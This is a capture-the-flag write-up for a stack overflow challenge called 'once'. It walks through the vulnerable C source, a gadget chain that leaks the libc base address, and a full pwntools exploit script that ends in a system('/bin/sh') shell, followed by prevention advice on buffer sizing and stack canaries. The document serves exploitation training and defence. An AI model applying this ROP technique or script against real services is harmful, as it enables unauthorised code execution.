πŸ“ƒ Challenge Description

A basic stack overflow. How hard could it be?

πŸ”Ž Research

We are given a zipfile containing various files, including a Dockerfile, an executable and the source code of the executable, which is shown below:

#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void provide_a_little_help() {
  const char* needle = NULL;
  const char* needles[] = {
    "once",
    "[heap]",
    "[stack]",
    NULL
  };
  int i = 0;
  char buf[512] = {0};

  FILE* fp = fopen("/proc/self/maps", "r");
  if (!fp) {
    perror("fopen");
    exit(1);
  }

  while((needle = needles[i]) != NULL) {
    if (!fgets(buf, sizeof(buf), fp) || !buf[0]) {
      break;
    }

    if (strstr(buf, needle)) {
      *strchr(buf, ' ') = '\0';
      printf("%s: %s\n", needle, buf);
      i++;
    }
  }

  fflush(stdout);
}

int main() {
  unsigned char buf[0];

  provide_a_little_help();

  fread(buf, 1, 0x10, stdin);

  return 0;
}

Before we start digging into researching the executable, let’s create ourselves a test environment. To do this, we build the docker container and run it using the following two commands:

  1. sudo docker build -t once .
  2. sudo docker run -d -p 1024:1024 -p 5000:5000 once

Now we can interact with the executable over the loopback interface on port 1024:

Untitled

Nice!

Now let’s investigate the executable. A quick look at the source code tells us, that the main functions essentially only calls provide_a_little_help and then fread, which will read 0x10 bytes from stdin in buf. The provide_a_little_help function opens the virtual address map of its own process through /proc/self/maps and leaks the virtual address ranges for the executable once, the heap and the stack.

Lastly, let’s quickly check the security mitigations enabled on the executable:

Untitled1

Full RELRO protection is enabled so we cannot overwrite GOT entries. PIE is also enabled which means we likely need an address leak to defeat ASLR.

πŸ“ Vulnerability Description

As the char array buf has a size of 0x0 bytes, no space is being reserved on the stack for it and in turn buf points to the same location where rbp points to, meaning we can overwrite rbp and the return address of main. Let’s see this overwrite happen in action.

Before the overwrite:

Untitled2

After the overwrite:

Untitled3

If we continue stepping through the program, rbp will have a value of 0x4141414141414141 and we get a segmentation fault at main+48 while trying to set rip to 0x4242424242424242. Now we have arbitrary control over rbp and rip. Let’s see how we can convert these primitives to rce.

🧠 Exploit Development

To have a realistic as possible debug environment I chose to use gdbserver in the docker container and connect to it from my host machine. The following commands can be used to install the gdbserver and pidof commands into the docker container:

  1. sudo docker exec -it be66d67055b1 /bin/bash
  2. dnf install gdb-gdbserver
  3. dnf install procps-ng

Now, after connecting to the once executable through nc localhost 1024, we can attach to it with gdbserver --attach localhost:5000 $(pidof once) in the container. On the client side in gdb, use target remote localhost:5000 to connect to gdbserver running inside the container.

Let’s move on to develop an exploit strategy. A useful thing we want to know is where we can return to after the buffer overflow in main. While searching in the once executable, I found a few interesting gadgets, three of which I will now present.

  1. When returning to main+14, we can call fread(rbp, 0x1, 0x10, stdin). This gives us a 0x10 bytes overwrite of an arbitrary location when chaining it with the pop rbp;ret gadget at main+47.

    Untitled4

    So when using this gadget the stack at the moment of executing the instructions pop rbp;ret at main+47 should look like this:

    # rsp:  address we want to overwrite with 0x10 bytes
    #       address of main+14
    #       next rbp
    #       next return address
    

    Note that the stack at the first call to fread is perfectly set up to use the first gadget as the next return address is main:

    Untitled2

  2. When returning to provide_a_little_help+267, we can call printf("%s: %s\n", [rbp-0x10], [rbp-0x240]). To reach the ret instruction at provide_a_little_help+347 however, QWORD PTR [rbp-0x10] has to be 0x0. The two printf arguments [rbp-0x10] and [rbp-0x240] also have to be either 0x0 or a valid address, as printf expects them to be either NULL or a valid pointer to a string. This gadget gives us a somewhat limited leak.

    Untitled5

    So when using this gadget the memory at rbp at the moment of jumping to this gadget should look like this:

    # rbp-0x240: valid readable address || NULL
    # rbp-0x010: valid readable address || NULL
    # rbp-0x080: 0x0
    # rbp-0x000: next rbp
    # rbp+0x080: next return address
    
  3. When returning to _start, we can start the program all over, thus reusing the first gadget again.

So with the first gadget we can write 0x10 bytes at an arbitrary location and then the program will return to main. But what should we overwrite?

Keeping the arbitrary overwrite in mind, let’s investigate some strategies to spawn a shell:

  1. use one_gadget to find a one gadget in the libc library.
  2. jump to system("/bin/sh")

In the context of this challenge, for both strategies we need to know the base address of libc. So lets use our second gadget to leak some libc address! After a long search, I came up with an idea to use some heap address, which i will call address, so that address-0x240 points into the file contents of /proc/self/maps, which was stored on the heap. Specifically, I want address-0x240 to point to the part of the file contents which stores the virtual address range of libc:

Untitled6

[address-0x10] and [address-0x8] also look good as they are both 0x0:

Untitled7

Initially, [address] and [address+0x8]is 0x0, so we would return to 0x0 after leaking libc. But keep in mind that we have an arbitrary write of 0x10 bytes still unused. So lets use this to overwrite the next rbp and return address. After initial fread buffer overflow in main:

Untitled8

address before overwriting:

Untitled9

address after overwriting:

Untitled10

Now we are ready to use our second gadget to leak the base address of libc. We use the second call to main to overwrite rbp and the return address again and return to provide_a_little_helper+267:

Untitled11

Enjoy your libc leak! πŸ™‚

Now that we have our libc leak, we can choose which strategy to spawn a shell we want to follow. I chose option 2 as I concluded the existing one gadgets as not reliable enough, because they depend on registers we cannot really control. After the libc leak, we see at the ret instruction in provide_a_little_helper+347, that we return to the address in [address+0x8], which we have overwritten with main.

Untitled12

We use the buffer overflow in main again to overwrite the return address with _start, so we can use our first gadget again:

Untitled13

With the help of the first gadget, we can now construct the stack layout for the pop rdi;ret gadget found with ropper:

Untitled14

The string /bin/sh can be found by using the following command in gdb: find &system,+9999999,"/bin/sh". We use the second call to main again to overwrite rbp and the return address to the pop rdi;ret gadget:

Untitled15

That’s it! We return to pop rdi;ret which will pop the String /bin/sh into rdi, and then returns to system.

πŸ” Exploit Program

from pwn import *

p = remote("localhost", 1024)
#p = remote("9d76172c7256a7da3d65f97a-once.challenge.master.cscg.live", 31337, ssl=True)

# Example:
# once: 55f80232e000-55f80232f000
# [heap]: 55f804032000-55f804053000
# [stack]: 7ffdb6362000-7ffdb6383000
once_base = int(p.recvline().decode().split(" ")[1].split("-")[0], 16)
heap_base = int(p.recvline().decode().split(" ")[1].split("-")[0], 16)
stack_base = int(p.recvline().decode().split(" ")[1].split("-")[0], 16)
print(f"once @ {hex(once_base)}")
print(f"heap @ {hex(heap_base)}")
print(f"stack @ {hex(stack_base)}")

rbp = heap_base + 0xaa0
main_ret = once_base + 0x1315 # main
fread_ret = once_base + 0x1323 # main+14
_start_ret = once_base + 0x10d0
p.send(p64(rbp) + p64(fread_ret))

p.send(p64(heap_base + 0x308) + p64(main_ret)) # setup for printf

p.recvlines(3) # leaks
printf_ret = once_base + 0x12c4
p.send(p64(rbp) + p64(printf_ret))
libc_leak = int(p.recvlines(6)[1].strip().split(b"-")[0].decode(), 16)
libc_base = libc_leak - 0x1d5000
print(f"libc @ {hex(libc_base)}")

pop_rdi_ret = libc_base + 0x27ab5
bin_sh_string = libc_base + 0x197031
system = libc_base + 0x4d4c0
p.send(p64(0x0) + p64(_start_ret))
p.recvlines(3) # leaks
p.send(p64(heap_base + 0x9d8) + p64(fread_ret))
p.send(p64(bin_sh_string) + p64(system)) # /bin/sh; system
p.recvlines(3) # leaks
p.send(p64(heap_base + 0x900) + p64(pop_rdi_ret))
p.interactive()

πŸ’₯ Run Exploit

Untitled16

FLAG: CSCG{buff3r1n6_y0ur_w4y_70_rc3}

πŸ›‘οΈ Possible Prevention

To prevent this exploit, one should only write so many bytes into an array as it has capacity. This simple change would have mitigated this exploit:

- unsigned char buf[0];
+ unsigned char buf[0x10];

Another approach one should always use is to enable stack canaries. Luckily, they are enabled by default in the most modern compilers. You can disable them by using the compiler argument -fno-stack-protector, but you really shouldn’t. Stack canaries are random values on the stack which sit between all local variables and the saved rbp and return address for this stack frame. A quick routine at the end of every function is inserted by the compiler which checks if the canary was being modified or overwritten and exits the program if this is the case. By using stack canaries, we would have not been able to overwrite rbp and the return address without also overwriting the stack canary, which would have been detected.

πŸ—ƒοΈ Further References

Stack buffer overflow

Stack Canaries - CTF 101